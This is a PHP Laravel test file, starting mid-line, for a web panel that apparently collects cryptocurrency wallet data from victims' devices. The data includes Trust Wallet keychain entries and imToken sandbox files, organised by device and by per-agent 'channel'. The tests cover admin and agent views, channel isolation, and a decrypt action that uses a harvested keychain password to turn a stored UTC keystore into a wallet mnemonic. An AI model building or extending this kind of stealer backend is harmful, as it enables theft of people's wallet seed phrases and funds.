create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create([ 'device_id' => 'DEVKEYSTORE01', 'channel_id' => 'ch-ks-1', ]); $row = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 1, 'raw_json' => [ 'kind' => 'keychain.wallets', 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'account' => 'trust.account', 'service' => null, 'accessGroup' => '9873B38DWV.com.sixdays.trust', 'protectionClass' => 9, 'dataHex' => bin2hex('777350'), ]], ], ], ], ]); $this->actingAs($admin, 'admin') ->get(route('admin.home')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->get(route('admin.keystores.index')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data')) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('count', 1) ->assertJsonPath('data.0.source', 'Trust Wallet') ->assertJsonPath('data.0.decrypted', 1) ->assertJsonPath('data.0.kind', '钥匙串') ->assertJsonPath('data.0.item_count', 1) ->assertJsonPath('data.0.summary', 'trust.account') ->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01'); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.items', $row)) ->assertOk() ->assertJsonPath('data.items.0.account', 'trust.account') ->assertJsonPath('data.items.0.data_preview', '777350'); $this->actingAs($admin, 'admin') ->get(route('admin.devices.show', [$device, 'tab' => 'keystores'])) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) ->assertOk() ->assertJsonPath('data.0.source', 'Trust Wallet') ->assertJsonPath('data.0.item_count', 1) ->assertJsonPath('data.0.summary', 'trust.account'); } #[Test] public function agent_only_sees_own_channel_keystores(): void { $agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]); $chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; $chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]); $devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]); $rowA = WalletKeystore::query()->create([ 'device_id' => $devA->id, 'source' => 'imToken', 'decrypted' => 0, 'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]], ]); $rowB = WalletKeystore::query()->create([ 'device_id' => $devB->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]], ]); $this->actingAs($agentA, 'agent') ->get(route('user.home')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_key', 'dev-ks-a'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.items', $rowA)) ->assertOk() ->assertJsonPath('data.items.0.account', 'walletsV2.json'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.items', $rowB)) ->assertForbidden(); } #[Test] public function admin_decrypt_writes_mnemonic_from_stored_trust_utc(): void { Http::fake(); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $phrase = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about'; $password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2'); $this->assertIsString($password); $utc = EthKeystore::encrypt($phrase, $password, [ 'n' => 16, 'r' => 8, 'p' => 1, 'dklen' => 32, 'salt' => str_repeat('ef', 32), ]); $device = Device::query()->create(['device_id' => 'DEVKSDECRYPT01']); $keychain = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'keychain.wallets', 'wallets' => [ 'trustwallet' => [ 'items' => [[ 'account' => 'trustwalletUTC--demo', 'dataHex' => bin2hex($password), ]], ], ], ], ]); WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => [ 'kind' => 'sandbox', 'sandbox' => [ 'trust_wallet' => [ 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), ], ], ], ]); $this->actingAs($admin, 'admin') ->postJson(route('admin.keystores.decrypt', $keychain)) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('data.added', 1) ->assertJsonPath('data.decrypted', 1); $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); $this->assertNotNull($mnemonic); $this->assertSame($phrase, $mnemonic->mnemonic); $this->assertSame('Trust Wallet', $mnemonic->source); } #[Test] public function agent_cannot_decrypt_other_channel_keystore(): void { $agentA = User::query()->create(['username' => 'ks-dec-a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'ks-dec-b', 'password' => 'secret12', 'status' => 1]); $chA = 'cccccccccccccccccccccccccccccccc'; $chB = 'dddddddddddddddddddddddddddddddd'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devB = Device::query()->create(['device_id' => 'dev-ks-dec-b', 'channel_id' => $chB]); $rowB = WalletKeystore::query()->create([ 'device_id' => $devB->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]], ]); $this->actingAs($agentA, 'agent') ->postJson(route('user.keystores.decrypt', $rowB)) ->assertForbidden(); } }